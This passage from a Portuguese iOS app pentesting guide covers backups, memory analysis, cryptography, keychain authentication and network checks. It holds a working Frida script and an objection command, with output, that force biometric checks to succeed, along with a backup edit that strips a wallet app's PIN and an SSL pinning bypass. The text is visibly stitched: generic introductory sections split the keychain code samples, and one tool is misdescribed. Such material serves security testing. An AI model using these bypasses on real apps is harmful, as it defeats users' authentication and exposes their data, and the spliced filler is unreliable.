Para lidar com backups criptografados, scripts Python disponíveis no repositório GitHub da DinoSec, como backup_tool.py e backup_passwd.py, podem ser úteis, embora possam exigir ajustes para compatibilidade com as versões mais recentes do iTunes/Finder. A ferramenta iOSbackup é outra opção para acessar arquivos em backups protegidos por senha.

Modificando o Comportamento do Aplicativo

Um exemplo de alteração no comportamento do aplicativo por meio de modificações no backup é demonstrado no aplicativo de carteira de bitcoins Bither (https://github.com/bither/bither-ios), onde o PIN de bloqueio da interface do usuário é armazenado em net.bither.plist sob a chave pin_code. Remover essa chave do plist e restaurar o backup remove o requisito do PIN, fornecendo acesso irrestrito.

Resumo sobre Teste de Memória para Dados Sensíveis

Ao lidar com informações sensíveis armazenadas na memória de um aplicativo, é crucial limitar o tempo de exposição desses dados. Existem duas abordagens principais para investigar o conteúdo da memória: criar um despejo de memória e analisar a memória em tempo real. Ambos os métodos têm seus desafios, incluindo a possibilidade de perder dados críticos durante o processo de despejo ou análise.

Recuperando e Analisando um Despejo de Memória

Para dispositivos com e sem jailbreak, ferramentas como objection e Fridump permitem o despejo da memória do processo de um aplicativo. Uma vez despejados, analisar esses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.

Para extrair strings de um despejo de memória, comandos como strings ou rabin2 -zz podem ser usados:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Para uma análise mais detalhada, incluindo a busca por tipos de dados ou padrões específicos, o radare2 oferece amplas capacidades de pesquisa:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Análise de Memória em Tempo de Execução

r2frida fornece uma alternativa poderosa para inspecionar a memória de um aplicativo em tempo real, sem a necessidade de um despejo de memória. Esta ferramenta permite a execução de comandos de busca diretamente na memória do aplicativo em execução:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Criptografia Quebrada

Processos de Gerenciamento de Chave Fracos

Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma reversão poderia permitir que atacantes extraiam as informações confidenciais.

Uso de Algoritmos Inseguros e/ou Obsoletos

Os desenvolvedores não devem usar algoritmos obsoletos para realizar verificações de autorização, armazenar ou enviar dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se hashes são usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.

Verificação

As principais verificações a serem realizadas são encontrar senhas/segredos codificados no código, ou se eles são previsíveis, e se o código está usando algum tipo de algoritmo de criptografia fraco.

É interessante saber que você pode monitorar algumas bibliotecas de criptografia automaticamente usando o objection com:

ios monitor crypt

Para mais informações sobre APIs e bibliotecas criptográficas do iOS, acesse https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Autenticação Local

A autenticação local desempenha um papel crucial, especialmente quando se trata de proteger o acesso em um ponto remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.

O framework de Autenticação Local da Apple e o keychain fornecem APIs robustas para os desenvolvedores facilitarem diálogos de autenticação do usuário e lidarem de forma segura com dados secretos, respectivamente. O Secure Enclave protege a identificação de impressão digital para o Touch ID, enquanto o Face ID depende do reconhecimento facial sem comprometer os dados biométricos.

Para integrar o Touch ID/Face ID, os desenvolvedores têm duas opções de API:

LocalAuthentication.framework para autenticação de usuário em alto nível sem acesso aos dados biométricos.
Security.framework para acesso a serviços de chaveiro em nível mais baixo, protegendo dados secretos com autenticação biométrica. Vários embrulhos de código aberto tornam o acesso ao chaveiro mais simples.

No entanto, tanto LocalAuthentication.framework quanto Security.framework apresentam vulnerabilidades, pois principalmente retornam valores booleanos sem transmitir dados para processos de autenticação, tornando-os suscetíveis a contornos (consulte Don't touch me that way, por David Lindner et al).

Implementando Autenticação Local

Para solicitar autenticação aos usuários, os desenvolvedores devem utilizar o método evaluatePolicy dentro da classe LAContext, escolhendo entre:

deviceOwnerAuthentication: Solicita o Touch ID ou o código de acesso do dispositivo, falhando se nenhum estiver habilitado.
deviceOwnerAuthenticationWithBiometrics: Solicita exclusivamente o Touch ID.

Uma autenticação bem-sucedida é indicada por um valor booleano retornado de evaluatePolicy, destacando uma possível falha de segurança.

Autenticação Local usando Keychain

A implementação de autenticação local em aplicativos iOS envolve o uso de APIs de chaveiro para armazenar com segurança dados secretos, como tokens de autenticação. Esse processo garante que os dados só possam ser acessados pelo usuário, usando o código de acesso do dispositivo ou autenticação biométrica como o Touch ID.

O chaveiro oferece a capacidade de definir itens com o atributo SecAccessControl, que restringe o acesso ao item até que o usuário autentique com sucesso via Touch ID ou código de acesso do dispositivo. Esse recurso é crucial para aprimorar a segurança.

Abaixo estão exemplos de código em Swift e Objective-C demonstrando como salvar e recuperar uma string para/de um chaveiro, aproveitando esses recursos de segurança. Os exemplos mostram especificamente como configurar o controle de acesso para exigir autenticação do Touch ID e garantir que os dados sejam acessíveis apenas no dispositivo em que foram configurados, sob a condição de que um código de acesso do dispositivo esteja configurado.

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

Introdução

O iOS utiliza principalmente a linguagem Objective-C para o desenvolvimento de aplicativos. É importante entender os conceitos básicos do Objective-C para realizar testes de segurança de aplicativos iOS de forma eficaz.

Principais Tópicos

Sintaxe do Objective-C: familiarize-se com a sintaxe básica do Objective-C, incluindo declaração de classes, métodos, propriedades e controle de fluxo.
Gestão de Memória: compreenda como o Objective-C lida com a gestão de memória para evitar vazamentos de memória e outros problemas relacionados.
Segurança: conheça as práticas recomendadas para garantir a segurança de aplicativos iOS escritos em Objective-C.

Recursos Adicionais

Documentação oficial do Objective-C: referência oficial da Apple para programação em Objective-C.
Livros e tutoriais online: explore recursos adicionais para aprofundar seus conhecimentos em Objective-C.

Ferramentas Recomendadas

Xcode: ambiente de desenvolvimento integrado (IDE) oficial da Apple para desenvolvimento de aplicativos iOS em Objective-C.
Instruments: ferramenta de análise de desempenho e depuração incluída no Xcode para identificar problemas de desempenho e memória.
LLDB: depurador de baixo nível incluído no Xcode para depuração de aplicativos iOS.

Exemplo de Código

Aqui está um exemplo simples de código Objective-C que demonstra a declaração de uma classe e um método:

#import <Foundation/Foundation.h>

@interface ExemploClasse : NSObject

- (void)exemploMetodo;

@end

@implementation ExemploClasse

- (void)exemploMetodo {
    NSLog(@"Este é um exemplo de método em Objective-C");
}

@end

Neste exemplo, declaramos uma classe chamada ExemploClasse com um método chamado exemploMetodo que imprime uma mensagem no console.

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

Agora podemos solicitar o item salvo do chaveiro. Os serviços do chaveiro apresentarão o diálogo de autenticação ao usuário e retornarão os dados ou nulo, dependendo se uma impressão digital adequada foi fornecida ou não.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

Introdução

O iOS é um sistema operacional móvel desenvolvido pela Apple Inc. exclusivamente para seus dispositivos. O iOS é conhecido por sua segurança robusta, o que torna o pentesting de aplicativos iOS um desafio interessante.

Ferramentas de Pentesting para iOS

Existem várias ferramentas populares disponíveis para pentesting de aplicativos iOS, incluindo:

Burp Suite: Uma ferramenta poderosa para testar a segurança de aplicativos móveis.
MobSF: Uma estrutura de segurança móvel automatizada.
Needle: Uma estrutura de injeção de dependência para aplicativos iOS.
Cycript: Uma ferramenta de depuração e exploração interativa.
Hopper Disassembler: Uma ferramenta para engenharia reversa de aplicativos iOS.

Metodologia de Pentesting para iOS

Ao realizar pentesting em aplicativos iOS, é importante seguir uma metodologia estruturada, que pode incluir as seguintes etapas:

Reconhecimento: Identificar o aplicativo alvo e coletar informações relevantes.
Análise Estática: Analisar o código do aplicativo em busca de vulnerabilidades.
Análise Dinâmica: Testar o aplicativo em execução para identificar possíveis falhas de segurança.
Manipulação de Dados: Manipular dados de entrada para testar a segurança do aplicativo.
Testes de Autenticação e Autorização: Verificar a robustez dos mecanismos de autenticação e autorização do aplicativo.
Testes de Criptografia: Avaliar a implementação de criptografia no aplicativo.
Testes de Comunicação em Rede: Analisar a segurança da comunicação de rede do aplicativo.
Testes de Backend: Avaliar a segurança do backend do aplicativo, se aplicável.
Relatório de Vulnerabilidades: Documentar todas as vulnerabilidades encontradas e fornecer recomendações para correção.

Conclusão

O pentesting de aplicativos iOS requer habilidades técnicas avançadas e um bom entendimento da plataforma iOS. Seguir uma metodologia de pentesting estruturada e utilizar as ferramentas certas são essenciais para identificar e corrigir vulnerabilidades de segurança em aplicativos iOS.

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

Detecção

O uso de frameworks em um aplicativo também pode ser detectado analisando a lista de bibliotecas dinâmicas compartilhadas do binário do aplicativo. Isso pode ser feito usando otool:

$ otool -L <AppName>.app/<AppName>

Se o LocalAuthentication.framework é usado em um aplicativo, a saída conterá ambas as seguintes linhas (lembre-se de que o LocalAuthentication.framework usa o Security.framework internamente):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Se o Security.framework for usado, apenas o segundo será mostrado.

Bypass do Framework de Autenticação Local

Objection

Através do Objection Biometrics Bypass, localizado nesta página do GitHub, uma técnica está disponível para contornar o mecanismo de LocalAuthentication. O cerne dessa abordagem envolve o uso do Frida para manipular a função evaluatePolicy, garantindo que ela produza consistentemente um resultado True, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica com falhas.

Para ativar esse bypass, o seguinte comando é utilizado:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Este comando inicia uma sequência onde o Objection registra uma tarefa que altera efetivamente o resultado da verificação evaluatePolicy para True.

Frida

Um exemplo de uso do evaluatePolicy do aplicativo DVIA-v2:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Para alcançar a burla da Autenticação Local, é escrito um script Frida. Este script tem como alvo a verificação evaluatePolicy, interceptando o seu retorno para garantir que ele retorne success=1. Ao alterar o comportamento do retorno, a verificação de autenticação é efetivamente burlada.

O script abaixo é injetado para modificar o resultado do método evaluatePolicy. Ele altera o resultado do retorno para sempre indicar sucesso.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Para injetar o script Frida e contornar a autenticação biométrica, é utilizado o seguinte comando:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Exposição de Funcionalidades Sensíveis Através de IPC

Comunicação de Rede

É importante verificar se não há comunicação ocorrendo sem criptografia e também se a aplicação está corretamente validando o certificado TLS do servidor. Para verificar esse tipo de problema, você pode usar um proxy como o Burp:

pageiOS Burp Suite Configuration

Verificação de Nome de Host

Um problema comum na validação do certificado TLS é verificar se o certificado foi assinado por uma CA confiável, mas não verificar se o nome do host do certificado é o nome do host acessado. Para verificar esse problema usando o Burp, após confiar na CA do Burp no iPhone, você pode criar um novo certificado com o Burp para um nome de host diferente e usá-lo. Se a aplicação ainda funcionar, então algo está vulnerável.

Pinagem de Certificado

Se uma aplicação estiver usando corretamente a Pinagem SSL, então a aplicação só funcionará se o certificado for o esperado. Ao testar uma aplicação isso pode ser um problema, pois o Burp servirá seu próprio certificado. Para contornar essa proteção em um dispositivo com jailbreak, você pode instalar o aplicativo SSL Kill Switch ou instalar Burp Mobile Assistant

Você também pode usar o ios sslpinning disable do objection

Diversos

Em /System/Library você pode encontrar os frameworks instalados no telefone usados pelas aplicações do sistema
As aplicações instaladas pelo usuário na App Store estão localizadas dentro de /User/Applications
E o /User/Library contém dados salvos pelas aplicações de nível de usuário
Você pode acessar /User/Library/Notes/notes.sqlite para ler as notas salvas dentro da aplicação.
Dentro da pasta de uma aplicação instalada (/User/Applications/<ID DO APP>/) você pode encontrar alguns arquivos interessantes:
- iTunesArtwork: O ícone usado pelo aplicativo
- iTunesMetadata.plist: Informações do aplicativo usadas na App Store
- /Library/*: Contém as preferências e cache. Em /Library/Cache/Snapshots/* você pode encontrar o snapshot realizado pela aplicação antes de enviá-la para segundo plano.

Hot Patching/Atualização Forçada

Os desenvolvedores podem remotamente corrigir todas as instalações de seu aplicativo instantaneamente sem precisar reenviar o aplicativo para a App Store e esperar pela aprovação. Para esse fim, geralmente é usado o JSPatch. Mas existem outras opções também, como Siren e react-native-appstore-version-checker. Esse é um mecanismo perigoso que poderia ser abusado por SDKs de terceiros maliciosos, portanto é recomendado verificar qual método é usado para atualização automática (se houver) e testá-lo. Você pode tentar baixar uma versão anterior do aplicativo para esse fim.

Terceiros

Um desafio significativo com SDKs de terceiros é a falta de controle granular sobre suas funcionalidades. Os desenvolvedores se deparam com uma escolha: integrar o SDK e aceitar todas as suas funcionalidades, incluindo possíveis vulnerabilidades de segurança e preocupações com privacidade, ou renunciar completamente aos seus benefícios. Muitas vezes, os desenvolvedores não conseguem corrigir vulnerabilidades dentro desses SDKs por conta própria. Além disso, à medida que os SDKs ganham confiança na comunidade, alguns podem começar a conter malware.

Os serviços fornecidos por SDKs de terceiros podem incluir rastreamento de comportamento do usuário, exibição de anúncios ou aprimoramentos da experiência do usuário. No entanto, isso introduz um risco, pois os desenvolvedores podem não estar totalmente cientes do código executado por essas bibliotecas, levando a potenciais riscos de privacidade e segurança. É crucial limitar as informações compartilhadas com serviços de terceiros ao que é necessário e garantir que nenhum dado sensível seja exposto.

A implementação de serviços de terceiros geralmente vem em duas formas: uma biblioteca independente ou um SDK completo. Para proteger a privacidade do usuário, quaisquer dados compartilhados com esses serviços devem ser anonimizados para evitar a divulgação de Informações Pessoalmente Identificáveis (IPI).

Para identificar as bibliotecas que uma aplicação utiliza, o comando otool pode ser empregado. Esta ferramenta deve ser executada contra a aplicação e cada biblioteca compartilhada que ela utiliza para descobrir bibliotecas adicionais.

otool -L <application_path>

Referências e Mais Recursos

Use Trickest para construir e automatizar fluxos de trabalho facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo. Acesse hoje:

Automate OffSec, EASM, and Custom Security Processes | Trickest

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
Adquira o swag oficial PEASS & HackTricks
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou nos siga no Twitter 🐦 @carlospolopm.
Compartilhe seus truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.

PreviousiOS Pentesting Checklist NextiOS App Extensions

Last updated 12 days ago

Conceitos Básicos do iOS

Ambiente de Testes

Análise Inicial

Operações Básicas de Teste do iOS

Análise Estática Básica

Análise Dinâmica Básica

Listando Apps Instalados

Enumeração Básica & Hooking

Estrutura do IPA

Reversão Binária

Armazenamento de Dados

Plist

Core Data

YapDatabase

Outros Bancos de Dados SQLite

Bancos de Dados em Tempo Real do Firebase

Bancos de Dados Realm

Bancos de Dados do Couchbase Lite

Cookies

Cache

Snapshots

Chaveiro

Armazenamento de Credenciais

Teclados Personalizados e Cache de Teclado

Prevenção de Cache de Campo de Texto

Registos

Monitorização de Registos do Sistema

Backups

Riscos de Segurança

Excluindo Arquivos dos Backups

Testando Vulnerabilidades

Modificando o Comportamento do Aplicativo

Resumo sobre Teste de Memória para Dados Sensíveis

Recuperando e Analisando um Despejo de Memória

Análise de Memória em Tempo de Execução

Criptografia Quebrada

Processos de Gerenciamento de Chave Fracos

Uso de Algoritmos Inseguros e/ou Obsoletos

Verificação

Autenticação Local

Implementando Autenticação Local

Autenticação Local usando Keychain

Introdução

Principais Tópicos

Recursos Adicionais

Ferramentas Recomendadas

Exemplo de Código

Introdução

Ferramentas de Pentesting para iOS

Metodologia de Pentesting para iOS

Conclusão

Detecção

Bypass do Framework de Autenticação Local

Objection

Frida

Exposição de Funcionalidades Sensíveis Através de IPC

Manipuladores de URI Personalizados / Deeplinks / Esquemas Personalizados

Links Universais

Compartilhamento de UIActivity

UIPasteboard

Extensões de Aplicativos

WebViews

Serialização e Codificação

Comunicação de Rede

Verificação de Nome de Host

Pinagem de Certificado

Diversos

Hot Patching/Atualização Forçada

Terceiros

Referências e Mais Recursos